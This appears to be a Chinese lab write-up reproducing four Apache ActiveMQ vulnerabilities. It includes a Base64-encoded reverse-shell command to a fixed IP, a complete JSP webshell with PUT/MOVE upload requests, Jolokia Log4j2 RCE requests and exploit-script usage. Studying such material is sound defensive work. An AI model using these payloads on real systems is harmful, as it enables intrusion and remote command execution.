Apache ActiveMQ作为广泛使用的开源消息中间件,其安全性至关重要。本文将通过实战环境,深入分析与复现ActiveMQ历史上四个关键的高危漏洞,涵盖从信息泄露到远程代码执行(RCE)的完整攻击链,旨在帮助安全人员与运维人员理解其风险并加强防御。
一、CVE-2015-5254 反序列化漏洞
此漏洞源于ActiveMQ的不安全反序列化机制,攻击者可通过发送特制的序列化消息来执行任意命令。
影响版本: Apache ActiveMQ 5.x 至 5.13.0
复现步骤:
- 使用Vulhub等靶场环境搭建漏洞版本ActiveMQ(如5.11.1)。启动后,Web控制台默认地址为
http://<target-ip>:8161,默认凭证为 admin/admin。
- 使用攻击工具
jmet-0.1.0-all.jar 向目标发送恶意的序列化消息。以下命令尝试在目标服务器 /tmp 目录下创建文件:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/success_poc” -Yp ROME <目标IP> 61616
- 发送成功后,访问
http://<target-ip>:8161/admin/browse.jsp?JMSDestination=event,在消息队列中会出现一条新的消息。
- 点击该消息的
Message ID,即可触发漏洞执行命令,在服务器上创建 /tmp/success_poc 文件。
- 该漏洞同样可用于反弹Shell。利用Base64编码反弹Shell命令并执行:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}” -Yp ROME <目标IP> 61616
二、CVE-2016-3088 Fileserver 任意文件写入漏洞
ActiveMQ的Fileserver应用(RESTful API)未对HTTP PUT方法进行充分授权校验,导致攻击者可上传任意文件,并结合MOVE方法将文件移动至Web目录,从而获取Webshell。
影响版本: Apache ActiveMQ 5.0.0 – 5.13.2。在5.12.x~5.13.x版本默认关闭,5.14.0后彻底移除。
复现步骤:
- 确定Web根目录。登录后台(
admin/admin),访问 http://<target-ip>:8161/admin/test/systemProperties.jsp,查找 activemq.home 属性,本例中为 /opt/activemq。其Web应用通常部署在 webapps 子目录下,这属于典型的Java Web应用路径。
-
使用PUT方法上传一个包含Webshell代码的TXT文件到Fileserver。
PUT /fileserver/shell.txt HTTP/1.1
Host: <target-ip>:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 329
<%@ page import="java.io.*"%>
<%
out.print(“Hello”);
String strcmd=request.getParameter(“cmd”);
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+””);
}
%>
注意:某些版本禁止直接上传 .jsp 后缀文件至fileserver,上传 .txt 再移动是可靠方法。
- 利用HTTP MOVE方法,将上传的文件移动至Web可访问目录(如
api 或 admin),并重命名为 .jsp。
MOVE /fileserver/shell.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: <target-ip>:8161
Authorization: Basic YWRtaW46YWRtaW4=
- 访问Webshell:
http://<target-ip>:8161/api/shell.jsp?cmd=id,成功执行系统命令。
三、CVE-2022-41678 Jolokia 代码执行漏洞
经过身份验证的攻击者可通过ActiveMQ内置的Jolokia JMX HTTP API,操作Log4j2相关的MBean,修改其配置并加载恶意XML,从而实现远程代码执行。这种通过应用配置接口进行攻击的方式,在网络安全研究中值得深入关注。
影响版本:
- Apache ActiveMQ < 5.16.6
- 5.17.0 <= Apache ActiveMQ < 5.17.4
复现步骤:
- 探测漏洞:访问
/api/jolokia/list,查看是否存在 org.apache.logging.log4j2 相关的MBean。
- GET方式:直接浏览器访问或使用工具带认证头(
Authorization: Basic YWRtaW46YWRtaW4=)访问。
- POST方式:若GET失败,发送POST请求,Body为
{“type”:”list”}。
-
修改Log4j2配置:发送POST请求,将Log4j2的配置格式设置为XML,为写入恶意配置做准备。
POST /api/jolokia/ HTTP/1.1
Host: <target-ip>:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
{
“type”: “exec”,
“mbean”: “org.apache.logging.log4j2:type=”,
“operation”: “setConfigText”,
“arguments”: [“xml”, “utf-8”]
}
- 写入恶意配置执行命令:利用脚本(如
activemq.py)自动化完成攻击。脚本会构造包含命令执行的恶意Log4j2 XML配置并提交。
# 方式一:使用JFR特性
python3 activemq.py -u admin -p admin –exploit jfr http://<target-ip>:8161
# 方式二:常规利用
python3 activemq.py -u admin -p admin http://<target-ip>:8161
- 脚本执行成功后,通常会向Web目录写入一个JSP Webshell,通过访问该Shell即可执行任意命令。
四、CVE-2023-46604 反序列化远程代码执行漏洞
该漏洞是ActiveMQ的一个极其严重的反序列化漏洞,攻击者通过向OpenWire端口(默认61616)发送特制的序列化数据包,可导致服务器实例化任意类并执行构造方法,从而实现远程代码执行。
影响版本:
- Apache ActiveMQ < 5.18.3
- Apache ActiveMQ < 5.17.6
- Apache ActiveMQ < 5.16.7
- Apache ActiveMQ < 5.15.16
复现步骤:
- 环境准备:搭建目标版本的ActiveMQ环境,确保61616端口可访问。使用Docker可以快速搭建测试环境。
- 利用工具:使用公开的漏洞利用脚本(如
CVE-2023-46604-RCE)。
- 执行攻击:该漏洞支持多种利用方式,攻击者需要准备一个托管恶意XML配置文件的服务器(如通过HTTP可访问的
pom.xml)。
- 工具发送恶意数据包后,若利用成功,目标服务器会加载远程XML并执行其中定义的恶意代码,攻击者从而获得系统权限。
|